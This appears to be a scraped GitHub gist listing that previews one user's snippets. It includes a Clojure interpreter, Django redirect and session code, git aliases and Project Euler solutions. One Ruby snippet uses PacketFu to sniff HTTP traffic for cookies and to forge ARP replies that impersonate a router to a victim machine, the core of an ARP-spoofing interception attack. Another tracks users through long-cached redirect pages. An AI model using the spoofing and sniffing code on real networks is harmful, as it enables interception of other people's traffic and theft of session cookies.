Skip to content

Instantly share code, notes, and snippets.

View ochronus's full-sized avatar

Csaba Okrona ochronus

View GitHub Profile
(defn -main [& args]
(if (nth args 0)
(bf-interpreter (slurp (nth args 0)))
(println "Please specify a brainfuck file as the first argument")))
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Redirect user tracking test</title>
</head>
def redirect(request, id=None):
if id is None:
response = HttpResponsePermanentRedirect("/redirect/{id}/".format(id=uuid.uuid4()))
else:
response = render(request, "id_writer.html", {'id': id})
response['Pragma'] = 'public'
response['Cache-Control'] = 'max-age=315360000'
response['Expires'] = "Thu, 24 Aug 2023 11:36:38 GMT"
from django.http import HttpResponse
from django.utils import simplejson
import uuid
BASEDIR = 'sessions'
def get_session(sid):
session_data = None
try:
session_file = open("{dir}/{fname}".format(dir=BASEDIR, fname=sid), 'r')
capture_session.stream.each { |packet|
puts "Woohoo I found a cookie" if packet =~ /ookie/
}
capture_session = PacketFu::Capture.new(:iface => 'eth0', :start => true, :promisc => true, :filter => "tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<>2)) != 0)")
arp_packet_victim = PacketFu::ARPPacket.new()
arp_packet_victim.eth_saddr = 'd2:7b:9c:71:7b:6f' # our MAC address
arp_packet_victim.eth_daddr = 'd4:9e:cb:08:5a:27' # the victim's MAC address
arp_packet_victim.arp_saddr_mac = 'd2:7b:9c:71:7b:6f' # our MAC address
arp_packet_victim.arp_daddr_mac = 'd4:9e:cb:08:5a:27' # the victim's MAC address
arp_packet_victim.arp_saddr_ip = '10.0.0.1' # the router's IP
arp_packet_victim.arp_daddr_ip = '10.0.0.101' # the victim's IP
arp_packet_victim.arp_opcode = 2 # arp code 2 == ARP reply
arp_packet_router = PacketFu::ARPPacket.new()
ds = diff --staged # git ds - diff your staged changes == review before committing.
st = status -sb # smarter status - include tag and branch info
fup = log --since '1 day ago' --oneline --author <YOUR_EMAIL> # I know what you did yesterday - great for follow-ups
ls = log --pretty=format:"%C(yellow)%h %C(blue)%ad%C(red)%d %C(reset)%s%C(green) [%cn]" --decorate --date=short # pretty one-line log with tags, branches and authors
lsv = log --pretty=format:"%C(yellow)%h %C(blue)%ad%C(red)%d %C(reset)%s%C(green) [%cn]" --decorate --date=short --numstat # a verbose ls, shows changed files too
# some resets without explanation
r = reset
r1 = reset HEAD^
r2 = reset HEAD^^
(defn gcd [a b] (if (zero? b) a (recur b (mod a b)))) ; greatest common divisor
(defn lcm [a b] (/ (* a b) (gcd a b))) ; lowest common multiple
(reduce #(lcm %1 %2) (range 1 21))
(defn palindrome? [s]
(= (reverse (str s) ) (seq (str s))))
(apply max
(filter palindrome?
(for
[a (range 100 1000)
b (range 100 1000)]
(* a b))))